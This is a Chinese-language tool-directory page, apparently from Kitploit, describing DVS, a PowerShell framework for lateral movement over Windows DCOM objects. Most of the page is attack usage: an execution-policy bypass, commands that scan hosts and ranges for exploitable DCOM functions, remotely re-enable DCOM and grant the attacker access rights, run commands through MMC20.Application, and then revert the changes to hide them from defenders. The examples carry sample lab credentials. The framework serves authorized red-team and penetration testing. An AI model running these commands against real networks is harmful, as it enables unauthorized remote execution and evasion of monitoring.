Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DVS — D(COM) V(ulnerability) S(canner) 又名 Devious swiss army knife - 使用 DCOM 对象进行横向移动 | Kitploit
工具/GitHubGitHub/scorpioneslabs/dvs
漏洞利用横向移动后渗透利用渗透测试命令与控制红队
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) 又名 Devious swiss army knife - 使用 DCOM 对象进行横向移动

查看仓库
25647125年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

D(COM) V(ulnerability) S(canner) 又名 狡猾的瑞士军刀 - 使用DCOM对象进行横向移动

你是否曾经思考过如何在内部网络中横向移动?或者如何在不被EDR察觉的情况下与远程机器交互?
假设我们拥有有效凭证,或者有一个可访问远程机器的活跃会话,但我们无法通过已知、预期或高度监控的方法(例如WMI、任务计划程序、WinRM、PowerShell远程处理)远程执行进程。

对于这些场景,DVS框架可以派上用场。

DVS框架是一把瑞士军刀,它允许您枚举远程DCOM对象的脆弱函数、启动它们,甚至使用它们发起攻击。

该框架以“红队”思维开发,采用隐蔽方法攻陷远程机器。

DVS框架包含多种方法,可以通过远程重新启用DCOM访问并自动授予攻击用户所需权限,从而绕过远程DCOM加固。

该框架还可以将远程机器上的更改还原到攻击前的原始状态,从而对防御者隐藏这些更改。

我们的主要见解是,该工具还可以通过一种令人惊叹的技术(请阅读下面的Invoke-RegisterRemoteSchema)使用非脆弱DCOM对象执行命令。

兼容PowerShell 2.0及更高版本

YouTube视频PoC: DVS

免责声明

此工具仅用于测试和教育目的。不允许将此代码用于任何其他用途。使用风险自负。
作者对此工具的误用不承担任何责任。
使用此工具即表示您接受因使用此工具造成的任何损害均由您自行负责。

注册表访问 - DVS框架如何利用该协议

  • Remote-Registry access(MS-RRP)

    1. 探测445端口以与远程注册表交互
    2. 检查远程注册表是否已启用
    3. 与远程注册表交互
    4. 如果标记了AutoGrant模式,则检查写入权限;否则,检查读取权限
  • Standard Registry Provider (如果远程注册表被拒绝)

    1. 探测135端口以便使用WMI与“标准注册表提供程序”交互
    2. 检查StdRegProv是否可访问
    3. 与标准注册表提供程序交互
    4. 如果标记了AutoGrant模式,则检查写入权限;否则,检查读取权限

为什么此工具如此隐蔽?

DVS工具首先通过以下步骤检查主体身份是否有权访问远程机器:

  • 基本操作

    1. 身份验证操作(如果未标记SkipRegAuth)
      1. 如果提供了凭据,则创建“仅网络”会话。否则,将使用当前登录的会话。
      2. 探测注册表访问。
    2. 检查DCOM功能是否已启用
    3. 允许DCOM访问(如果标记了AutoGrant),否则失败
    4. 检查登录用户/提供的用户以及用户所属的组(通过adsi/WindowsIdentity功能)是否被授予与DCOM交互的权限(通过远程注册表查询)
    5. 授予权限(如果标记了AutoGrant),否则失败
    6. 通过TCP上的NetBIOS(使用NetAPI32或UDP数据包)从远程机器解析域名,如果失败,则尝试使用注册表(HKLM或HKCU配置单元)
  • Invoke-DCOMObjectScan

    1. 与DCOM对象交互
    2. 枚举DCOM对象并查找脆弱函数
    3. 验证利用可能性
    4. 生成执行负载
    5. 获取有关脆弱DCOM对象的个人信息
  • Get-ExecutionCommand

    1. 生成执行负载
  • Invoke-ExecutionCommand

    1. 尝试与DCOM对象交互
    2. 执行命令
  • Invoke-RegisterRemoteSchema

    1. 尝试与以下DCOM对象之一交互:
      • InternetExplorer.Application - InternetExplorer COM对象
      • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - 另一个属于Internet Explorer的COM对象
      • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
      • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
    2. 注册远程架构(例如 http://)
    3. 配置架构以从架构内容执行命令
    4. 执行命令

工具组件

  • 安全权限分析器 - 分析主体身份访问远程DCOM对象的权限
  • 远程授权访问 - 远程授予登录用户权限(如果尚未授予)
  • DCOM扫描器 - 扫描并分析远程/本地DCOM对象,查找提供的脆弱函数(必须指定模式和函数名称) 当工具检测到脆弱函数时,它将检查该函数包含哪些参数以及该函数是否具有执行命令的能力
  • DCOM命令生成器 - 生成PowerShell负载以在远程机器上执行
  • 报告 - 生成包含有关脆弱DCOM对象所有信息的CSV报告
  • 命令执行 - 通过DCOM对象执行命令

作者

  • Nimrod Levy

许可证

  • GPL v3

测试场景

  • 从非域环境到域环境
  • 从域内到另一台加入域的机器
  • 从域环境到非域环境
  • 从当前会话到另一台加入域的机器

测试过的操作系统

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

致谢

  • 感谢 Rafel Ivgi 的指导和对工具架构思维的帮助。
  • 感谢 Yossi Sasi 帮助我优化脚本。
  • 感谢 Gleb Glazkov 编写了缓解和预防部分

安装:

git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command

Invoke-DCOMObjectScan

Invoke-DCOMObjectScan 函数允许您通过文件中包含的模式列表或精确函数名称来扫描DCOM对象并查找脆弱函数。

  • 示例:

    1. 枚举并扫描从攻击者机器到 DC01 主机的 MMC20.Application (ProgID) 对象,无需查询注册表。

         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    注意: 该工具不会分析ACL权限,当工具成功时,它将解析有关该对象的所有信息,但注册表中提到的详细信息(如对象名称、可执行文件等)除外。

    1. 检查 MMC20.Application (ProgID) 对象是否可从攻击者机器访问到 DC01 主机,而无需预先查询和验证DCOM对象的访问列表。

         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. 验证 MMC20.Application (ProgID) 是否适用于 10.211.55.4/24 范围。如果存在,该工具将尝试枚举有关它的信息。(使用当前登录的用户会话。)

         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      
    3. 验证通过 10.211.55.4 IP地址的 {00020812-0000-0000-C000-000000000046} CLSID 对象是否存在且可访问。如果存在,该工具将解析有关它的信息。(使用 lab\administrator 凭据。)

         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
      
    4. 扫描存储在指定路径(例如 C:\Users\USERNAME\Desktop\DVS\objects.txt)上的所有对象,通过 10.211.55.4 IP 地址,并使用 lab\administrator 凭据在指定文件(如 vulnerable.txt)中查找函数列表,配置如下:
      最大深度: 4
      最大结果: 1(每个对象1个结果)
      AutoGrant 模式: 如果我们没有访问该对象的权限,或者 DCOM 功能被禁用,则启用 DCOM 功能并对相关 DCOM 对象执行自动授权。
      最后,将机器恢复到攻击前的相同状态。

         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
      
    5. 扫描来自 10.211.55.1/24 范围的可用远程机器上存储的所有对象,并从选定文件(例如 C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)中的列表中查找潜在脆弱函数,排除选定文件(例如 C:\Users\USERNAME\Desktop\DVS\exclude.txt)中的对象,并跳过同一对象其他路径上同名的属性。
      注意: 当存在同名但具有不同偏好(方法/其他属性)或不同深度链的属性时,SkipSameProperyName 标志可能会遗漏脆弱函数。

         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
      

Get-ExecutionCommand

Get-ExecutionCommand 函数允许生成一个PowerShell负载,该负载将与远程DCOM函数交互并使用相关参数执行。

  • 示例:
    1. 检查主体身份是否被授予通过 10.211.55.4 IP 地址使用 lab\administrator 凭据与 {00020812-0000-0000-C000-000000000046} CLSID 对象交互的权限,然后它将生成执行命令。

         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. 检查DCOM访问权限。
      如果主体身份没有必要的权限或DCOM功能被禁用,该工具将启用DCOM功能,授予身份访问权限,并使用 lab\administrator 凭据通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,然后为您生成执行命令。
      最后,它将机器恢复到攻击前的相同状态。

         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. 尝试使用当前登录会话通过 10.211.55.1/24 范围与 MMC20.Application (ProgID) 对象交互,不分析ACL权限,然后它将生成执行命令。

         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
      
    4. 尝试通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,无需查询注册表。

         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
      

Invoke-ExecutionCommand

Invoke-ExecutionCommand 函数允许使用登录用户或提供的凭据通过DCOM对象执行命令。

  • 示例:

    1. 检查DCOM访问权限。
      如果主体身份没有必要的权限或DCOM功能被禁用,该工具将启用DCOM功能,授予访问权限,使用当前登录用户会话通过范围 10.211.55.1/24 与 MMC20.Application (ProgID) 对象交互并执行以下命令:

      1. 执行 cmd.exe /c calc 命令

      2. 将 Frame.Top 属性设置为 1 最后,将机器恢复到攻击前的相同状态。

         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. 尝试使用 lab\administrator 凭据通过 10.211.55.4 IP地址与 MMC20.Application (ProgID) 对象交互,并执行以下命令:cmd.exe /c calc。

下载工具